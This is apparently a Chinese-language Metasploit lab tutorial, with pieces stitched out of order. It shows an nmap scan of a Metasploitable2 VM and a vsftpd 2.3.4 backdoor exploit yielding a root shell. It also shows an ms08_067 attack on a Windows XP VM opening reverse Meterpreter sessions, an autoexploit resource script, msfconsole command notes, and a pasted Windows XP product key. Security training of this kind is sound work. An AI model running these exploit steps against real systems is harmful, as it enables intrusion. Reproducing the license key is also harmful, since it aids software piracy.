    Nmap scan report for 10.0.0.31
    Host is up (0.00079s latency).
    Not shown: 977 closed ports
    PORT STATE SERVICE VERSION
    21/tcp open ftp vsftpd 2.3.4
    |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
    | ftp-syst:
    | STAT:
    | FTP server status:
    | Connected to 10.0.0.29
    | Logged in as ftp
    | TYPE: ASCII
    | No session bandwidth limit
    | Session timeout in seconds is 300
    | Control connection is plain text
    | Data connections will be plain text
    | vsFTPd 2.3.4 - secure, fast, stable
    |_End of status
    22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
    | ssh-hostkey:
    | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
    |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
    23/tcp open telnet Linux telnetd
    25/tcp open smtp Postfix smtpd
    |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
    |_ssl-date: 2021-07-03T07:24:10+00:00; 0s from scanner time.
    | sslv2:
    | SSLv2 supported
    | ciphers:
    | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
    | SSL2_RC2_128_CBC_WITH_MD5
    | SSL2_RC4_128_EXPORT40_WITH_MD5
    | SSL2_DES_192_EDE3_CBC_WITH_MD5
    | SSL2_RC4_128_WITH_MD5
    |_ SSL2_DES_64_CBC_WITH_MD5
    53/tcp open domain ISC BIND 9.4.2
    | dns-nsid:
    |_ bind.version: 9.4.2
    80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
    |_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
    |_http-title: Metasploitable2 - Linux
    111/tcp open rpcbind 2 (RPC #100000)
    | rpcinfo:
    | program version port/proto service
    | 100000 2 111/tcp rpcbind
    | 100000 2 111/udp rpcbind
    | 100003 2,3,4 2049/tcp nfs
    | 100003 2,3,4 2049/udp nfs
    | 100005 1,2,3 39985/udp mountd
    | 100005 1,2,3 51340/tcp mountd
    | 100021 1,3,4 43006/tcp nlockmgr
    | 100021 1,3,4 45003/udp nlockmgr
    | 100024 1 58167/tcp status
    |_ 100024 1 59031/udp status
    139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
    445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
    512/tcp open exec netkit-rsh rexecd
    513/tcp open login OpenBSD or Solaris rlogind
    514/tcp open shell?
    1099/tcp open java-rmi GNU Classpath grmiregistry
    1524/tcp open bindshell Metasploitable root shell
    2049/tcp open nfs 2-4 (RPC #100003)
    2121/tcp open ftp ProFTPD 1.3.1
    3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
    | mysql-info:
    | Protocol: 10
    | Version: 5.0.51a-3ubuntu5
    | Thread ID: 9
    | Capabilities flags: 43564
    | Some Capabilities: SupportsCompression, LongColumnFlag, SwitchToSSLAfterHandshake, SupportsTransactions, Speaks41ProtocolNew, ConnectWithDatabase, Support41Auth
    | Status: Autocommit
    |_ Salt: BI'&(6wuf"r:i"hgO4W7
    5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
    |_ssl-date: 2021-07-03T07:24:10+00:00; 0s from scanner time.
    5900/tcp open vnc VNC (protocol 3.3)
    | vnc-info:
    | Protocol version: 3.3
    | Security types:
    |_ VNC Authentication (2)
    6000/tcp open X11 (access denied)
    6667/tcp open irc UnrealIRCd
    8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
    |_ajp-methods: Failed to get a valid response for the OPTION request
    8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
    |_http-favicon: Apache Tomcat
    |_http-server-header: Apache-Coyote/1.1
    |_http-title: Apache Tomcat/5.5
    Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

    Host script results:
    |_clock-skew: mean: 1h00m00s, deviation: 2h00m00s, median: 0s
    |_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
    | smb-os-discovery:
    | OS: Unix (Samba 3.0.20-Debian)
    | Computer name: metasploitable
    | NetBIOS computer name:
    | Domain name: localdomain
    | FQDN: metasploitable.localdomain
    |_ System time: 2021-07-03T03:24:02-04:00
    | smb-security-mode:
    | account_used: guest
    | authentication_level: user
    | challenge_response: supported
    |_ message_signing: disabled (dangerous, but default)
    |_smb2-time: Protocol negotiation failed (SMB2)

    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 33.39 seconds
    • OS: Unix (Samba 3.0.20-Debian)
    • ftp:vsftpd 2.3.4
  2. 搜索可用的攻击模块

    1
    2
    3
    4
    5
    6
    7
    8
    9
    msf6 > search vsftpd

    Matching Modules
    ================

    # Name Disclosure Date Rank Check Description
    - ---- --------------- ---- ----- -----------
    0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

  3. 使用攻击模块展开攻击

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
    [*] No payload configured, defaulting to cmd/unix/interact
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

    Compatible Payloads
    ===================

    # Name Disclosure Date Rank Check Description
    - ---- --------------- ---- ----- -----------
    0 payload/cmd/unix/interact normal No Unix Command, Interact with Established Connection

    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD payload/cmd/unix/interact
    PAYLOAD => cmd/unix/interact
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

    Module options (exploit/unix/ftp/vsftpd_234_backdoor):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
    RPORT 21 yes The target port (TCP)


    Payload options (cmd/unix/interact):

    Name Current Setting Required Description
    ---- --------------- -------- -----------


    Exploit target:

    Id Name
    -- ----
    0 Automatic


    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 10.0.0.31
    RHOST => 10.0.0.31
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

    [*] 10.0.0.31:21 - Banner: 220 (vsFTPd 2.3.4)
    [*] 10.0.0.31:21 - USER: 331 Please specify the password.
    [+] 10.0.0.31:21 - Backdoor service has been spawned, handling...
    [+] 10.0.0.31:21 - UID: uid=0(root) gid=0(root)
    [*] Found shell.
    [*] Command shell session 1 opened (0.0.0.0:0 -> 10.0.0.31:6200) at 2021-07-03 03:32:54 -0400

    cd ..
    cd ..
    dir
    bin dev initrd lost+found nohup.out root sys var
    boot etc initrd.img media opt sbin tmp vmlinuz
    cdrom home lib mnt proc srv usr
    ifconfig
    eth0 Link encap:Ethernet HWaddr 08:00:27:a0:2d:c5
    inet addr:10.0.0.31 Bcast:10.0.0.255 Mask:255.255.255.0
    inet6 addr: fe80::a00:27ff:fea0:2dc5/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:3387 errors:0 dropped:0 overruns:0 frame:0
    TX packets:2394 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:309735 (302.4 KB) TX bytes:482095 (470.7 KB)
    Base address:0xd020 Memory:f1200000-f1220000

    VSFTPD v2.3.4 Backdoor Command Execution 这类的攻击称为命令执行漏洞,攻击代码的可靠性通常接近100%。

例子中使用绑定(blind)的交互式 shell,Metasploit 为我们创建了一个直接到目标系统的连接。

如果攻击防火墙或 NAT 网关后的主机,应当使用反弹式连接攻击载荷。

5.4 全端口攻击载荷:暴力猜解目标开放的端口

如果攻击的组织内部设置了非常严格的出站端口过滤,很多攻击在防火墙上仅仅开放个别特定的端口,将其他端口一律关闭。

Metasploit 提供了一个专用的攻击载荷帮助我们找到这些放行的端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
msf6 exploit(windows/smb/ms08_067_netapi) > search ports

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/misc/allmediaserver_bof 2012-07-04 normal No ALLMediaServer 0.8 Buffer Overflow
1 auxiliary/scanner/snmp/sbg6580_enum normal No ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module
...
152 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
...

msf6 exploit(windows/smb/ms08_067_netapi) > exploit -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/ms08_067_netapi) >
[*] Started reverse TCP handler on 10.0.0.29:4444
[*] 10.0.0.28:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175174 bytes) to 10.0.0.28
[*] Meterpreter session 3 opened (10.0.0.29:4444 -> 10.0.0.28:1063) at 2021-07-03 04:13:29 -0400

msf6 exploit(windows/smb/ms08_067_netapi) > sessions -l -v

Active sessions
===============

Session ID: 1
Name:
Type: meterpreter windows
Info: NT AUTHORITY\SYSTEM @ SEU-A601A799D94
Tunnel: 10.0.0.29:4444 -> 10.0.0.28:1057 (10.0.0.28)
Via: exploit/windows/smb/ms08_067_netapi
Encrypted: Yes (AES-256-CBC)
UUID: 5b37f459b5f760bb/x86=1/windows=1/2021-07-03T08:01:13Z
CheckIn: 9s ago @ 2021-07-03 04:17:22 -0400
Registered: No

Session ID: 2
Name:
Type: meterpreter windows
Info: NT AUTHORITY\SYSTEM @ SEU-A601A799D94
Tunnel: 10.0.0.29:4444 -> 10.0.0.28:1060 (10.0.0.28)
Via: exploit/windows/smb/ms08_067_netapi
Encrypted: Yes (AES-256-CBC)
UUID: dfbe9a4c79f02d80/x86=1/windows=1/2021-07-03T08:01:13Z
CheckIn: 10s ago @ 2021-07-03 04:17:21 -0400
Registered: No

msf6 exploit(windows/smb/ms08_067_netapi) > sessopms -i 2

5.5 资源文件

资源文件(resource files)是 MSF 终端内包含一系列自动化命令的脚本文件。

文件内容是一个可以在 MSF 终端中执行的命令列表,按列表顺序执行。

实现许多重复性任务的自动化。

使用方式:

  1. 在 MSF 终端中使用 resource 命令载入资源文件
  2. msfconsole 启动命令是加入 -r 参数

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/scripts]
└─$ echo use exploit/windows/smb/ms08_067_netapi > autoexploit.rc

┌──(kali㉿kali)-[~/scripts]
└─$ echo set RHOST 10.0.0.28 >> autoexploit.rc

┌──(kali㉿kali)-[~/scripts]
└─$ echo set PAYLOAD payload/windows/meterpreter/reverse_tcp >> autoexploit.rc

┌──(kali㉿kali)-[~/scripts]
└─$ echo set LHOST 10.0.0.29 >> autoexploit.rc

┌──(kali㉿kali)-[~/scripts]
└─$ echo exploit >> autoexploit.rc

┌──(kali㉿kali)-[~/scripts]
└─$ cat autoexploit.rc
use exploit/windows/smb/ms08_067_netapi
set RHOST 10.0.0.28
set PAYLOAD payload/windows/meterpreter/reverse_tcp
set LHOST 10.0.0.29
exploit

┌──(kali㉿kali)-[~/scripts]
└─$ msfconsole -r autoexploit.rc

msf6 > resource autoexploit.rc

6. Meterpreter

Meterpreter 是 Metasploit 框架中的一个杀手锏,通常被作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后能够返回给我们一个控制通道。

Meterpreter 是 Metasploit 框架的一个扩展模块,可以调用 Metasploit 的一些功能,对目标系统进行更为深入的渗透。

6.1 攻陷 Windows XP 虚机

6.1.1 使用 nmap 扫描端口

1

序列号:CM3HY-26VYW-6JRYC-X66GX-JVY2D,仅可用于windowsXP sp3 vol专业版中英文原版ISO (msdn.itellyou.com)。用这个密钥即可安装和自动激活。

4. 控制台命令

help / ? 可以列出 msf 所有的命令

3.1 常见命令

  • banner:显示 banner 信息
  • color:启动输出信息的颜色变化
  • connect:网络工具,与 nc 类似。-h 查看使用详细信息
  • show:查看当前 msf 提供的功能,show all/modules/exploit/payload…
  • search:查找,通常 show 直接展示时内容会特别多,可以使用 search,使用对应漏洞的关键字查找
  • use:使用漏洞利用模块
    • info:进入模块后,利用 info 可以查看这个模块的信息
    • show options/payloads/targets/advanced/evasion(逃避)/missing(必须设置的参数)
  • check:检查漏洞是否存在。(很多模块没有 check 功能)
  • back:回到 msfconsole 根目录

3.2 数据库相关命令

具体使用可通过 -h 参数查看

  • vulns :漏洞库
  • hosts :主机信息库
  • services :port、协议信息库
  • creds :密码信息库(如:mysql_login)
  • loot:hash值库
  • db_connect
    db_connetct -h查看具体使用方法

  • db_export

  • db_nmap
    MSF 集成 nmap 的工具,结果会直接存储到 msf 数据库中。使用方式与 nmap 一样。

    • hosts # 查看当前数据库存储的主机信息
    • host 1.1.1.1 # 过滤 ip
    • hosts -u # 只显示 up 的主机
    • hosts -c address,os_name # 显示指定列名的数据
    • hosts -c address,os_name -S xxx # 显示指定列名的数据,-S 过滤出包含 xxx 的数据
    • services # 显示 port、协议相关的信息
    • services -p 443 # -p 根据端口过滤
  • db_remove

  • db_status
    查看当前连接数据库状态(postgresql),若没有连接,可以尝试手动启动 postgresql

    1
    2
    3
    4
    $ msfdb start  # 尝试启动 msfdb
    $ msfdb reinit # 初始化
    $ netstat -pantu | grep 5432 # 查看 postgresql 是否启动,5432 是 postgresql 默认端口
    $ service postgresql start # 启动 postgresql
  • db_disconnect

  • db_import

  • db_rebuild_cache
    msf 所有模块都在/usr/share/metasploit-framework/modules下,使用db_rebuild_cache可以将模块加载到数据库中,能使检索效率更快。

  • db_save

3.3 MSF 功能使用命令

  • set/unset :设置/取消设置
  • setg/unsetg:全局设置(g=globel)
  • save:保存当前配置至文件(/root/.msf/config)
  • run/exploit:执行
  • jobs:正在执行的 exploit
  • kill
  • load/unload/loadpath
    • load:加载外部插件,如 load openvas扫描
    • loadpath:调用指定目录里的 module
  • session:攻击主机与目标主机维持的 session(shell、meterpreter session、VNC)
    • session -i id:进入对应 id 的 session
  • route:通过指定的 session 建立的连接来路由流量,而不用常规路由
    • route add 10.1.1.0 255.255.255.0 4,将通往 10.1.1.0 网段的流量通过 id 为 4 的 seesion 来路由
  • irb(Framework::version):类似于 ipython,开发页面
  • resource:指定资源文件(将rhost、rport等设置写在文件 r.rc 中,通过 resource 可以直接设置成功)
    • 没进到 MSF console 时,在系统shell 可以通过 msfconsole -r 实现